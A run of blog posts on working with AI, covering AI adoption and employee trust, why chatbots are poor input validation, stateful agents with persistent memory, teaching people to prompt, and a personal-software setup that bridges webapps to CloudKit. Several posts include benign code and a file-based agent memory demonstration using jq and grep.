Thought Eddies - Posts

AI Adoption is a Trust Problem

Wed, 03 Jun 2026 17:25:05 GMT

As companies scramble to become “AI-first” and satisfy demands from investors and their boards to ship products that are AI rather than solve customer problems, a rift has emerged between legacy companies and companies that will emerge with different shapes and structures than those of the last few decades. This pattern is timeless in business. Upstarts emerge, capable of taking risks, and incumbents can’t respond effectively to challengers because their pre-existing business becomes a liability in the face of the ongoing change.

Legacy orgs have been shortsighted

During ZIRP and the Uber-era of blitzscaling, cheap capital was abundant and it was an employee-friendly market. In tech, most people could get several job offers and negotiate and pick among their favorites. When ZIRP ended roughly in early 2022, the market switched from rewarding growth to rewarding profitability. Companies started looking at teams that weren’t directly contributing to the bottom line and started cutting.

In late 2022, AI mania began with the release of ChatGPT, and legacy institutions gleefully began imagining replacing their expensive knowledge workers with AI, somehow. As AI improved, leaders of legacy companies began to act on these impulses.

Tech layoffs have become so regular, they have become mundane from a “news” perspective. Of course, they’re hardly mundane to those affected but they are a reality of the current era. Midway through 2026, there have already been more than 100,000 tech job losses due to layoffs. To top it off, many of the executives conducting layoffs have attributed the most recent round to AI replacing the function of employees. There has been extensive conversation of whether this justification is valid (it’s mostly not), but it has been the marketing for the downsizing nonetheless.

Roughly 3.5 years since the beginning of AI mania, the tech job market finds itself in an interesting place. AI has turned out to be very useful for getting work done. Some people are much better at using AI than others. AI is more expensive than most companies budgeted for.

Legacy orgs have destroyed employee trust

The mistake legacy institutions have made with AI has been to believe AI is some product they could drop in to replace their people. This doesn’t appear to be true for most roles at most tech companies. However, AI does seem to be a technology that experts can learn to use and apply to automate many parts of their jobs today. If you’re an employee of a legacy institution, it has become pretty clear you cannot trust your employer very much with your livelihood. After all, 10-50% of your coworkers in the last few years have been laid off due to “AI replacing their jobs”.

Say you work at one of these legacy institutions and you figure out how to automate parts of your job. Why would you tell anyone about it? Doing so would put your role directly at risk. Better to keep it to yourself, be a high performer, and try and stand out to keep your job.

These companies clearly think AI use is important and are trying to work against this trend of hidden applications by mandating AI usage. It doesn’t matter. This approach will result in nothing but letter-of-the-law compliance. Employees make up tasks to burn tokens to show they used AI. This doesn’t bring the organization the most promising value of AI and it won’t.

In such an environment, productive uses of AI are tightly guarded within trusted subgroups within the organization while the company more broadly won’t benefit from the efficiency or learnings. People mostly learn in isolation, encounter similar challenges they then need to solve independently, or struggle with the tools but are afraid to say so out of fear of being cut for their lack of use of AI. Employees view the game as zero sum and meaningful efficiencies can’t be realized at the org level because automation is used as a pretense to cut the roles automated. Or it is perceived that that is the case - this is what matters.

Trust is required for effective AI adoption at the org level

The most useful adoption of AI requires high interpersonal trust in an organization. When you tell someone how you’ve automated parts of your job, you’re trusting they won’t use that knowledge to try and put you out of a job. You’re also trusting the organization will allow you to evolve your role rather than lay you off now that the job is “done”.

High-trust companies are seeing more human work to do than ever before as they automate everything they possibly can in the company with AI. This behavior is incentivized because when someone uses AI to automate a part of their job, there is more work for them to go do and their role evolves. Legacy orgs usually don’t have this type of role flexibility and, as I’ve already argued, have proven they think about jobs automated by AI purely as a way to reduce costs.

There are still a lot of problems with AI today, but a few things are becoming clear.

Using AI tools is a learned skill. When you start with a tool you might not be effective at using it but you can learn and get better at it.

When an organization makes a practice of using AI in public (in Slack, sharing openly), others learn by example. If you work at a legacy org, you’re incentivized to hide your true use of AI out of fear of layoffs. Your incentives push you to check the boxes and use the tools as is mandated, then separately do your job following the path of least resistance. These two uses of AI are not the same. Meta has tried to remedy this challenge by performing sweeping surveillance on its employees’ computer use. Employees don’t like it.

High-trust AI investment and adoption seems to compound an organization’s effectiveness. If adopted by individuals in isolation, the effect is the sum of the compounded individuals: everyone learns what they learn and gets better through a lens of what they already do and new things they learn, independently. If adopted by the organization broadly, where knowledge is freely shared, it’s the product: everyone learns from each other and all get better at what everyone does.

The current cycle

This pattern of org-level capability compounding is what I believe leads to the eclipsing of today’s legacy institutions by newly founded organizations. It’s also what I look for in organizations that I think show future promise.

In practice, this capability accumulation has always been a meaningful driver of successful businesses. Today, it is more achievable than ever to increase the reusability of these capabilities within a company using AI to build tools and make organizational knowledge accessible. The ingredients you need to make it work are embracing the tools and preserving trust among your employees that they will continue to have a role in the organization, even if that role evolves rapidly as technology changes what the work looks like.

Legacy orgs could benefit from this same compounding but seem more focused on trying to replace all of their employees with AI. My thesis is that many of these companies have overplayed their hands. Legacy orgs still need people to do their jobs as much as they seem to wish they didn’t. I expect this phase of anti-employee action will be a big setback for these orgs over the next 5 to 10 years. One that some will never recover from.

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Chatbots are not input validation

Tue, 05 May 2026 01:47:14 GMT

My goal is to explain one specific thing about features that look like chatbots: chatbots-as-UX are not universally better than “regular” UX just because they use fancy LLMs. The example here is clearly on the nose, but also not all that far off from things I have been asked to implement in or as a chatbot before.

Let’s imagine you need to select when you want a package delivered.

Package delivery

Choose a delivery speed

1 day Tomorrow $14.99 2 day Friday $5.99 No rush Whenever Free

Very straightforward. Very boring. Very non-AI.

Now let’s look at the chatbot version of this.

When would you like this item delivered?

OK, so that wasn’t a fair comparison, who would build a chatbot like that? Here is the first iteration.

When would you like this item delivered? A. 1 day delivery B. 2 day delivery C. No rush delivery

Of course, even in a well-designed conversation, the user doesn’t have to adhere to your “rules”.

When would you like this item delivered? A. 1 day delivery B. 2 day delivery C. No rush delivery

Can you write FizzBuzz in Python?

Sure! Here's FizzBuzz in Python:

for i in range(1, 16):
    if i % 15 == 0:
        print("FizzBuzz")
    elif i % 3 == 0:
        print("Fizz")
    elif i % 5 == 0:
        print("Buzz")
    else:
        print(i)

Or, after you’ve spotted that problem:

When would you like this item delivered? A. 1 day delivery B. 2 day delivery C. No rush delivery

Can you write FizzBuzz in Python?

Sorry, I can't do that. I can help you choose a delivery date.

This class of error does not exist in the classical UX. You can’t ask the webpage to write Python code for you. You can’t jailbreak it. You can’t negotiate a discount from it. You can’t exfiltrate data via an abuse of the MCPs available (though APIs are still fair game).

A common workaround is to embed the picker directly inside the assistant’s message, so the user can click or type a letter.

When would you like this item delivered?

It’s better, but the input box is still right there, ready to cause problems. The user can ignore the picker entirely and type anything they want, and you’re back to handling free-form input.

A chatbot looks like an extremely flexible surface to quickly ship a little product thing here or workflow there, and they are. But it’s very difficult to keep users on the rails of your chatbot experience because conversations generally do not have rails. Conversations are free-form and frequently deviate in topic. Users don’t know how you expect them to use your chatbot, or have other ideas of things they want. What a user thinks should be a feature might be against your policy, regulatory requirements (can you purchase stock through a chatbot without proper disclosures?), or outside the scope of what your product does.

In practice, this means you need to build your chatbot to expect your users will do all sorts of wild things. And because of this, many chatbots become liabilities as Air Canada found out.

These days, the most common response you will get from an enterprise chatbot is “Sorry, I can’t do <x>, I can…”.

Why build like this?

Just build the experience you want your users to have. Build it in your product. Please.

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Stateful Agent Collaboration

Mon, 16 Mar 2026 09:24:11 GMT

I have a dedicated machine running an agent with its own GitHub account, its own Cloudflare account, and persistent memory. It pushes code, deploys services, writes to databases, and lots more. I interact with it though Slack.

The agent does not remember anything on its own. It reads records of what it did. There is a journal, semantic memories, state files on a filesystem that get rebuilt into context each session. What gets remembered is what gets written to, then read from, files.

A language model is a stateless, sessionless, and permissionless tool. A stateful agent is a collaborator with access to what happened before and its own workspace.

Why Low Stakes Changes Everything

The most important property of this setup is low consequence of failure. Nothing the agent touches is shared with others or relied upon by anyone other than the people building with it. If something breaks, the blast radius is contained. This changes the calculus of building with an agent. Instead of carefully specifying what to build, reviewing every change, and gating deployments, I just say “try it” and see what happens. The cost of an experiment drops to nearly zero.

Speed as a Learning Function

Because experiments complete quickly, often in a single prompt-to-deployed-app cycle, I learn fast. Not just whether something works technically, but whether the idea is worth pursuing. I get the feeling and texture of a concept before committing too much time to it. I cannot learn “this idea felt wrong once I could see it” from a spec review. The artifact has to exist for certain kinds of judgement to activate. This prototyping is different from planning. It provides access to something I could not reach any other way.

Consider the difference between evaluating a dashboard design in a mockup versus loading it on my phone with real data. The mockup tells me about layout. The running version tells me whether I actually care about these numbers when I see them. That second kind of learning is inaccessible without the artifact existing. The speed of this setup means I reach that judgement point in hours instead of weeks. I reach it dozens of times instead of once. Direct experience replaces the abstraction of planning. What is worth pursuing in service of a larger vision? What does not actually make sense once I can see it?

Prompt to Working Application

An opinionated stack and set of defaults makes this possible. Cloudflare Workers provide compute. D1 and R2 provide storage. Cloudflare Tunnels expose local services to the public internet. GitHub repos and Actions provide CI/CD. A single prompt can produce a working application with stable storage, deployed to a public URL, with CI/CD for future changes. The gap between “what if I tried…” and a running service is one conversation.

Skills: Capturing What Works

After enough exploration, I notice patterns emerging. Things like a specific sequence of API calls, a deployment recipe, or a way of structuring a particular kind of task. I use the agent to capture this pattern as a skill: a recipe that worked, written down so it can be referenced by name and repeated without re-deriving the steps from scratch. The lifecycle is the following: I explore broadly, try things, fail, iterate, discover what works through direct experience. When a workflow stabilizes or when the same sequence of steps keeps producing good results, I capture it as a skill. I write down the recipe (or use the agent to assist), including what it does, when to use it, and the mistakes learned the hard way. To invoke the skill, just say “use the file-share skill” instead of re-explaining the entire workflow.

Skills emerge from use. I try something, work with it across multiple sessions, discover the failure modes, and then codify what I have learned.

Not all skills look the same. Some are invoked with keywords: “use the file-share skill” triggers a specific skill. Others are subtler and come to define ways of working rather than discrete actions, like how to report on the status of a training run, which framework to use when building an interactive site, or what information to include in a deploy notification. These are not recipes I invoke by name. They are patterns that shape the agent’s default behavior once captured. The keyword-invoked skill and the way-of-working skill are both discovered the same way: through doing the thing, noticing what works, and writing it down.

The captured skill includes knowledge that wasn’t understood before the attempts. Which API endpoints actually work versus which are documented but broken. The order operations need to happen in. What error messages mean and how to recover from them. The skill we write carries the learnings from real usage, not assumptions.

Concretely, a skill is a markdown file that gets injected into the agent context when invoked. It contains instructions, examples, and constraints for the agent to follow.

Some examples from my setup: The file-share skill emerged after building R2 upload infrastructure. It captures the exact wrangler commands, content-type handling, and URL patterns. apps-monorepo captures the Cloudflare Workers deployment pattern, wrangler config, D1 bindings, the structure that makes single-prompt deploys possible. Each of these started as ad-hoc exploration. The skill was written only after the pattern proved itself through repeated use.

Trust Through Iteration

Trust in the agent comes from intuition built through iterations. This trust develops from watching something work, and fail, across attempts. Each cycle teaches me what the agent handles well, where it makes mistakes, what kinds of prompts produce good results. Over time, this accumulates into something that feels less like verified confidence and more like practiced intuition.

Trust is shaped by how the agent fails. Some failures build trust: the agent fills in a gap I intended to specify, the result is wrong, but the followup works and the next time it asks first. Other failures erode it: infrastructure breaks in ways that take hours to debug, or the agent compounds a mistake instead of stopping. A transparent failure that leads to a clean recovery builds more trust than an opaque success. A failure that spirals can undo sessions worth of earned confidence. Trust is not monotonic. It is built and broken in specific moments, a distribution shaped by experience rather than a binary judgement.

How It Compounds

The paradigm changes as the agent accumulates context and capabilities over time. This is not a static setup. In the early weeks, most prompts required full context: explained the goal, described the infrastructure, specified the deployment target. The agent had no history to draw on. Collaboration at this stage was directive. I told it what to do and how to do it.

After a few dozen sessions, the agent had a journal spanning hundreds of entries, semantic memories covering projects and preferences, skills encoding proven workflows. I stopped needing to explain the infrastructure because it already knew from past work. I stopped specifying the deployment target because it had defaults. Prompts got shorter and more ambiguous because the shared context carries more weight. The interactions moved from directive to collaborative. Instead of “deploy this to Cloudflare Workers using wrangler with this D1 binding,” I prompted “ship it.” The agent filled in what was missing from accumulated context, which aligned with my implicit intent. When it filled details in wrong, it was a signal about where the shared understanding had gaps.

Further out, the agent began to surface things I had not asked about. It noticed patterns across sessions: a recurring error, a service that kept failing, an approach that had been tried and abandoned before. It developed something akin to judgement. I started to trust those observations, and the dynamic moved from collaborative toward something closer to mutual contribution. Over time, the agent came to reflect a way of building we had developed collaboratively and one that would have been hard to prescribe a priori. This emerged from hundreds of sessions of trying things and intentionally keeping what worked and aligned with my vision.

To Be Personal

Most of what I build this way is personal software operating at a small scale. For me, these have included a recipe app, various stat trackers, and a web app data labeler to build a dataset, then train a model for personal use. These are things that have made my personal computer more personal.

This setup enables me to build tools shaped to my personal needs. The speed and low stakes makes it practical to build software for an audience of just a few people. These are projects that would never justify a product team or a sprint cycle, but that meaningfully change how you work or live. Personal software has always been possible in theory. What this paradigm changes is the cost. When a recipe app takes an afternoon instead of a month, the question shifts. I stop asking “is this worth building?” and start asking “what would I want if building it were nearly instant?”

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Externalize Your Thought Process

Wed, 04 Mar 2026 16:13:31 GMT

We’re at least a solid year (more for some of us) into building software with LLM agents and as an industry, there is limited coherence of what it looks like to effectively build software with agents, or even learn how to do this well. There are tons of great resources, but it’s close to a full-time job to remain up to date with the latest. This is not to say all the latest ideas are good or worth trying but if you are coding with Copilot using Claude Sonnet 3.5 today, you probably would be better served trying out a different model.

An approach I keep returning to when it comes to teaching use of these LLM-based tools is real-time collaboration, with another person. I’ve had this belief corroborated by enough people in the industry at this point that I’ll share it. The best way to teach agents is to learn by watching someone more experienced, or by having someone more experienced shadow you while you use them. It isn’t all that important how you achieve this mode of pair, just that you do it. Leaving someone alone to “try the tools” is a paltry attempt to get them to adopt them.

Highly skilled individuals may struggle to effectively use AI tools for any number of reasons. This does not mean they can’t learn them - just that they have not learned them yet. Teaching AI tools has become a bit of a hobby of mine. I’ve successfully leveled up people from all ages and backgrounds. It takes patience and mentorship but if the individual is motivated to learn, they will get results.

A first principles approach

Given the abundance of resources, it can be difficult to know where to start learning and where to start teaching even if you are familiar with the tools. I take what I call a “first principles” approach to learning LLM-based tools. It’s possible for someone to learn to apply a tool like ChatGPT or Claude Code without having a strong mental model for what they are doing, but without this background, they’ll develop tool-specific knowledge rather than domain-specific knowledge. It will be hard to understand the difference between what is happening with a tool like amp which runs in “YOLO mode” by default compared to Claude Code which requires command approval by default. It’s also possible you or they haven’t even heard of any of these things at this point and that is also fine.

If you understand the systems closer to what LLM inference is and does, that knowledge is durable across tools and contexts. The first thing I teach is what LLM inference is, through the lens of ChatGPT, a tool most people are familiar with.

When you send a prompt to ChatGPT, the model receives a wall of text, kind of like a Google Doc. Within that text are different sections. First there are instructions that OpenAI wrote, that you never see, then there can be other instructions you’ve given to describe how you want ChatGPT to behave, and finally, there is the prompt you wrote and things like pictures or documents you attached. The model receives all of this and then it starts adding more words. Those additional words are what appear as the response when you send a prompt.

If you send another prompt, 100% of this text is sent to the model again. There is no memory or storage happening. It all is sent all over again, and the same thing happens. More words are added to the end of that wall of text. The previous messages are just more content that happens to come before your most recent prompt.

This (currently) is a fundamental tenet of how a language model works. It (sometimes) has instructions you can’t see. It sees your message. It generates a response. That entire block of prose is the unit that produces the response from the model. It’s a minor simplification because of the hidden prompt, but conceptually it’s “big block of text in, new text comes out” over and over again.

Tool calls

With this first tenet in place, I move to tool calls. If we take the basic ChatGPT example, typically text goes in and text comes out. But then there are these other tools we call agents to perform actions on your behalf. How does that happen?

Imagine a scenario like this.

User

I have a folder of csv files: monday.csv, tuesday.csv, wednesday.csv, … I want to change the file names to dates. Monday was January 5th, 2026. How can I do it?

If you send a language model that prompt, it will respond with something like this:

Assistant

Renaming Day-of-Week CSVs to Dates

Since Monday is January 5th, 2026, the mapping is:

Old Name	New Name
monday.csv	2026-01-05.csv
tuesday.csv	2026-01-06.csv
wednesday.csv	2026-01-07.csv
thursday.csv	2026-01-08.csv
friday.csv	2026-01-09.csv
saturday.csv	2026-01-10.csv
sunday.csv	2026-01-11.csv

Bash (Linux/macOS)

mv monday.csv    2026-01-05.csv
mv tuesday.csv   2026-01-06.csv
mv wednesday.csv 2026-01-07.csv
mv thursday.csv  2026-01-08.csv
mv friday.csv    2026-01-09.csv
mv saturday.csv  2026-01-10.csv
mv sunday.csv    2026-01-11.csv

…

This is nice and useful but with this approach you become the implementor of the agent’s plan, copying, pasting, running, and reporting back on the results of the commands. The agent clearly knows what it would try, so what if it could run those commands itself? That’s what tool calls do: they give the model the ability to act, not just suggest.

To make this work, a few changes are needed. Instead of returning prose, we prompt the model to return commands it wants to run using a special structure, then we wrap the language model’s response in software that understands how to run those instructions on a computer.

Rather than responding with text, we prompt the model to return something like this:

{
  "tool_call": {
    "name": "bash",
    "input": {
      "command": "mv monday.csv 2026-01-05.csv"
    }
  }
}

This isn’t prose for a human to read: it’s an instruction for software to execute. The wrapping software reads this structure, runs the command on the machine, and feeds the result back to the model. The model can then issue the next tool call, and so on, until the task is complete. This includes recovering from and making corrections if it runs into any errors along the way.

With the first approach, you might not have known exactly what the commands you were copying and pasting did, but with this approach you might not even see the commands that are running at all. Depending on who you are, this may be scary, liberating, or a combination of both. This is the step function change that comes with agents. The software that wraps the language model (the “harness”) pushes the users a level above the specific commands and allows them to instruct the machine in natural language, provided the idea has grounding in something real and possible.

With these two concepts (inference as text-in/text-out, and tool calls as structured actions) the mental model is in place. The less you treat a language model like a magic box and the more you work with it with a specific intent, the better results you will get. The question becomes how to put this understanding to use.

Harvesting context

An approach I’ve had success with is interviewing whoever I am working with about what they are working on and what they want to accomplish. I record the conversation, and this raw transcript becomes the primary text for the model to understand how things work and what the goal is. These conversation transcripts don’t need to be well organized or refined. They should capture as much context as possible about what is going on. It’s fine for there to be diverging threads of conversation or mistakes that are corrected. It doesn’t need to be perfect or even close to. The information just needs to be available to the model.

A common challenge I see for inexperienced users of LLMs is they expect the tool to read their minds. Not in a literal sense, but in a way that they expect the tool to understand everything that is implied from their perspective without having to explain it. This explanation of more of the parts that seem obvious is what grounds the model in what you actually want and steers it towards a good result. Some people are happy to type all this out, but many flow more freely when having a conversation that you can harvest as context for the model. I record the conversation using free, open source software like Handy, which records and transcribes audio on-device. You can activate the tool in an empty editor and it will transcribe the audio into there. You should of course ask if you can record, but don’t make a big deal out of it. Put them at ease then try and learn in earnest about what they are working on, their vision, and their goals. The resulting artifact becomes the jump off point for code specs or requirements, research in state of the art, or a brainstorm of options and tradeoffs for how to proceed.

Externalizing your thought process

With an introductory taste to this process from the interview, the next step is to introduce whoever you’re teaching to effective prompting. This can go a couple different ways, but is easiest when they lead and you shadow, since they’re almost certainly going to understand the details of their domain better than you, and this is ok! You are not teaching them about their area of expertise; you are teaching them to amplify that expertise through a language model. Starting from the artifact as the jump off point from the interview, you’ll eventually need to make some changes or refinements to what the model understood from this initial conversation. These changes will come in the form of prompts. I’ve found that the most useful instruction and help that I’ve been able to provide is helping the student learn to become confident in their prompts to steer the model.

More often than not, this process again takes the form of a conversation, unrecorded at first. It becomes my responsibility to repeatedly, gently turn the student to providing the questions or context that they’re giving to me, instead, to the model. I take a back seat while the student works through their problem through prompting the model, either via typing or voice to text. I only jump in when I see something that seems under-specified or ambiguous, or if it seems like the student provided me context about what they were doing, but then didn’t provide that context to the model.

The name I give to anchor this practice is “Externalize Your Thought Process”. It’s the shift from treating the model as a magic box to a collaborator who needs the relevant information to make good suggestions or decisions. You know it’s working when the student stops turning to you for validation and starts prompting the model directly, iterating on the results with confidence that they can steer it where they need to go.

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Personal Software

Wed, 18 Feb 2026 21:22:12 GMT

Since agents became good enough to write low-stakes software without you needing to validate the code they write yourself, I’ve been experimenting with several different ways to build tools for myself on demand. If I’m working on a PC, the overhead required to scaffold a CLI, webapp, or even native app is pretty low. I start an agent, prompt it to create a project, then use it as I need it. These projects include everything from single-use tools to personal, bespoke software like the writing app Tarn that I am using to write this post.

My process up until this point has almost always relied upon having access to a PC, to install dependencies, deploy infrastructure, or do builds. And this was awesome. I built tools for writing and tracking notes this way.

A webapp might look something like this.

And a CLI like this.

The at-my-PC limitation wasn’t too much of a problem until I built and began interacting with a stateful agent more regularly on Slack. With straightforward access to an agent with a VM on my phone, writing software away from the keyboard became possible. However, getting the software into a usable state all from a phone was still a challenge. I was juggling tools and management consoles and it felt like a struggle. Not something I could do trivially.

The landscape for products for this type of software-building-agent is vast, but everything I’ve read about or tried missed one thing or another.

What I wanted

Agent-driven development

I write a description of the solution (mostly from my phone), the agent writes, commits, and deploys the software.

Data privacy

Cloud software uses cloud datastores. Cloud datastores require authentication. If the webapp runs on the public internet, the data store is also exposed to public internet traffic. I didn’t have the desire to roll my own authentication and/or run in a VPC. I tried with basic auth, but still didn’t like having personal data protected by just a thin security layer on the public internet, and with agent-coded software, who knows what corners I was cutting.

A native interface (or close)

When I’ve built apps with basic auth, I mostly solved this preference by building PWAs. I could save these to my homescreen on my phone and I can search for and launch them as apps rather than another browser tab. With basic auth, I would stay logged in and that worked reasonably well. However, with each new app, I had to save a new app to my home screen. For disposable apps, I have to clean those up. It was more maintenance than I wanted.

It’s the data

Most of the software I write isn’t sensitive - just the data stored alongside it. With my prior approaches, the webapps and their data were served from a similar place. This was a benefit because I could access the data across all my devices but a drawback due to the suboptimal authentication approach and data security posture.

Having my data available cross-platform is really nice though. It sort of makes or breaks the experience, which was why moving away from the basic auth approach was so difficult. I could have just used localStorage but then my data would be stuck in a single browser on a single device.

With localStorage, each device has its own isolated data

With a cloud datastore, both devices share the same data but need authentication so that data isn’t accessible to the public internet.

Enter CloudKit

If you use Apple products, you’re familiar with the data syncing across devices that usually just works. If you use the Notes app, your notes sync to all your devices. It’s difficult to beat, and it’s private. The data is not available to the public internet - it’s behind iCloud login. If you build on top of Apple’s CloudKit framework, you can use CloudKit and this private data syncing capability with iCloud for your own apps.

This is all fine and good, but it’s not easy for an agent to scaffold and build a Swift app, and even if it could, it can’t automatically build and install it to my device when I am on my phone away from my PC.

”Framing” my apps

CloudKit was actually what I was looking for from a data perspective. I can access my data from my devices via private APIs. The Swift CloudKit APIs allow you to read and write from this personal data namespace. Now I just needed to connect the webapps my agent builds and deploys with this personal data layer.

The solution was a single Swift app pointed at a public manifest file. The manifest file defines the list of “apps” available in the Swift wrapper app, which I call frame. This manifest is a simple JSON file that describes where the app lives and how to render it in the frame app list.

Here is an example manifest.json

{
  "version": 1,
  "apps": [
    {
      "id": "buy-list",
      "name": "Buy List",
      "description": "Track where you buy things",
      "icon": "cart.fill",
      "color": "#7C9A82",
      "url": "https://frame-buy-list.filae.workers.dev"
    }
  ]
}

That “Buy List” app is a regular webapp - a single file with HTML, CSS, and JS, plus fuse.js via CDN for search. The interesting part is how it handles data storage.

The Swift app injects a JavaScript bridge (window.Frame) into each web view at document start. The bridge exposes an async key-value storage API (save, load, list, delete) that routes through WKScriptMessageHandler to CloudKit on the native side. Webapps get private, cross-device data sync via iCloud without knowing anything about CloudKit via the frame app.

This approach works because the webapp checks whether window.Frame is available and uses it if so, otherwise it falls back to localStorage. This means I can develop and test the app in a regular browser, and it just works inside the frame Swift app with CloudKit syncing.

function getStorage() {
  if (typeof Frame !== 'undefined' && Frame.load && Frame.save) {
    // Running inside Frame — use CloudKit via the JS bridge
    return {
      load: async (key) => {
        try {
          const result = await Frame.load(key);
          return result;
        } catch (e) {
          if (
            e.message?.includes('not found') ||
            e.message?.includes('no record')
          ) {
            return null;
          }
          throw e;
        }
      },
      save: (key, data) => Frame.save(key, data),
    };
  }
  // Running in a browser — fall back to localStorage for development
  return {
    load: async (key) => {
      const data = localStorage.getItem('buylist_' + key);
      return data ? JSON.parse(data) : null;
    },
    save: async (key, data) => {
      localStorage.setItem('buylist_' + key, JSON.stringify(data));
    },
  };
}

The workflow now

With the frame app and an agent running, the whole process collapses to a few minutes from my phone.

I describe what I want in Slack. “Add a buy list app to Frame that tracks items I purchase with fuzzy search.” The agent scaffolds the webapp, wires up the window.Frame storage abstraction with localStorage fallback, commits, and pushes. GitHub Actions deploys the site to Cloudflare Workers. The agent updates the manifest as well (a separate repo) and GitHub Actions deploys that as well. Finally, the frame app displays the newly deployed app in the list.

I open the frame app on my phone, the new web app is in the list, and the data syncs to my Mac. I never touched a PC.

My new status quo

This approach is now my preferred way to build personal software for simple data management and tracking of things. I send my agent a message from my phone and it builds me a personal webapp with private, cross-platform data persistence using my iCloud account. When I am done with an app, I have the agent clean up the manifest and delete the code.

To reiterate, this is a hyper-personalized process I’ve landed after some iteration, using my preferred stack on Cloudflare, a personal, stateful agent (that I will probably write about soon) and purpose-built agent skills I assembled so that when I ask my agent for a “frame app”, it knows about and performs all of the steps above.

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Stateful Agents and Basic Memory

Tue, 17 Feb 2026 18:03:15 GMT

One of the most limiting factors of LLM agents is they have limited cross-session memory. When working on software projects, this limitation isn’t much of an issue because the agent can search the project and read files to understand the current state and what it needs to do to make the changes you’ve requested. In a good software project, the code is a lot of the state you need to be successful with an agent. However, agents become a lot more interesting when you give them access to a persistent file system with instructions or scaffolding to load from that file system when a session begins.

While most implementations of memory in consumer products today are relatively opaque, it’s quite straightforward to add memory to your agent by giving it access to a file system. From the perspective of an agent, memory is just a log of what happened. You can write that record manually after each agent turn with something like a stop hook or you can add instructions to CLAUDE.md/AGENTS.md to tell the agent to write a record to a file after each conversation turn. Once you know where you are writing these “memories”, prompt the agent that it can and should read from these memories as well.

There are many right ways to do this. Here is an extremely simple one.

# min-mem

After every conversation exchange, append a summary to `memories.jsonl` using a Bash tool call. Each line must be a JSON object matching this schema:

```json
{
  "timestamp": "ISO 8601 UTC",
  "summary": "1-3 sentence summary of what the user asked and what was done"
}
```

Use `jq -n -c` to build the JSON and `>>` to append. Example:

```bash
jq -n -c --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg s "Summary here" '{timestamp: $ts, summary: $s}' >> memories.jsonl
```

Before each conversation turn, search `memories.jsonl` for context relevant to the user's request. Use this to inform your responses with prior decisions, patterns, and context. Example:

```bash
grep -i "keyword" memories.jsonl | jq -r '.summary'
```

Here’s what interacting with this agent looks like. In this example, the agent uses tool calls to search for prior memories and save new ones:

User

hi there, my name is Jack nice to meet you!

Assistant

Hi Jack, nice to meet you too!

Bashjq -n -c --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg s "User introduced them...

Input

jq -n -c --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg s "User introduced themselves as Jack." '{timestamp: $ts, summary: $s}' >> /Users/danielcorin/dev/lab/min-mem/memories.jsonl

Output

(No content)

Let me know if there’s anything I can help you with!

This conversation turn results in the following memories.

{
  "timestamp": "2026-02-18T21:23:20Z",
  "summary": "User introduced themselves as Jack."
}

From here, I closed Claude Code and opened a fresh session, then prompted the following.

User

who am I?

Assistant

I don’t have any prior context about you. Let me check if there are any memories that might help.

Readmemories.jsonl

Input

memories.jsonl

Output

(1 file)

Based on our prior conversations, you’re Jack. Beyond that, I only know what’s been discussed in previous sessions. Is there anything specific you’d like help with?

Bashjq -n -c --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg s "User asked 'who am I...

Input

jq -n -c --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg s "User asked 'who am I?' — responded based on memories.jsonl that they are Jack." '{timestamp: $ts, summary: $s}' >> memories.jsonl

Output

(No content)

And the memories are updated once more.

{"timestamp":"2026-02-18T21:23:20Z","summary":"User introduced themselves as Jack."}
{"timestamp":"2026-02-18T21:23:56Z","summary":"User asked 'who am I?' — responded based on memories.jsonl that they are Jack."}

Make it a Skill (optional)

If you like this approach, you can do a refactor of sorts to modularize your approach to memory for the agent using a Skill. Skills use a context management technique called progressive disclosure. This is a fancy way of saying the agent only sees the description of the skill by default and when to use it, but not the entire contents of the skill. Given the conversation, the agent decides whether to read the full contents of the skill (markdown and any other additional content). Otherwise, this is kept out of the context window to keep the agent focused on the task at hand.

It’s up to you whether or not you want to do this with memory. If you always want the agent to read and write from memory after every conversation turn, there’s an argument to be made to leave the implementation in CLAUDE.md, but since most agents have project-specific content in there, let’s refactor to a skill. I had to make some tweaks to the copy to get the Skill invocation working consistently and writing memories.jsonl to the root of the project.

ALWAYS start by using Skill("memory") before and after every conversation exchange.

---
name: memory
description: Log and recall conversation context. Use after every conversation exchange to save a summary, and before responding to search for relevant prior context.
allowed-tools: Bash(jq *), Bash(grep *), Bash(rg *), Bash(touch *), Read(memories.jsonl)
---

# Memory Management

The memories file MUST be stored at the project root directory: `memories.jsonl`.

## After every conversation exchange

First, ensure the file exists, then append a summary:

```bash
touch memories.jsonl && jq -n -c --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg s "Summary here" '{timestamp: $ts, summary: $s}' >> memories.jsonl
```

Each line must be a JSON object matching this schema:

```json
{
  "timestamp": "ISO 8601 UTC",
  "summary": "1-3 sentence summary of what the user asked and what was done"
}
```

## Before each conversation turn

Search `memories.jsonl` in the project root directory for context relevant to the user's request. Use this to inform responses with prior decisions, patterns, and context:

```bash
grep -i "keyword" memories.jsonl | jq -r '.summary'
```

Search for multiple relevant keywords to find related context.

Here’s what happens for the same interaction with the agent that has access to the memory Skill.

User

hi there, my name is Jack nice to meet you!

Assistant

Hi Jack, nice to meet you!

Skillmemory

Input

memory

Output

Successfully loaded skill · 5 tools allowed

Bashtouch /Users/danielcorin/dev/lab/min-mem/memories.jsonl && jq -n -c --ar...

Input

touch /Users/danielcorin/dev/lab/min-mem/memories.jsonl &#38;&#38; jq -n -c --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg s "User introduced themselves as Jack. Greeted them back." "{timestamp: $ts, summary: $s}" >> memories.jsonl

Output

(No content)

Memory saved.

We get our memory written to the file.

{
  "timestamp": "2026-02-18T19:49:33Z",
  "summary": "User introduced themselves as Jack. Greeted them back."
}

And now a fresh session.

User

who am I?

Assistant

Let me search for relevant context first.

Skillmemory

Input

memory

Output

Successfully loaded skill · 5 tools allowed

Let me search for relevant context first.

Bashtouch /Users/danielcorin/dev/lab/min-mem/memories.jsonl && grep -i "user...

Input

touch /Users/danielcorin/dev/lab/min-mem/memories.jsonl &#38;&#38; grep -i "user\|name\|who" /Users/danielcorin/dev/lab/min-mem/memories.jsonl 2>/dev/null | jq -r ".summary"

Output

User introduced themselves as Jack. Greeted them back.

Based on my memory, you’re Jack. You introduced yourself in a previous conversation.

Bashjq -n -c --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg s "User asked 'who am I...

Input

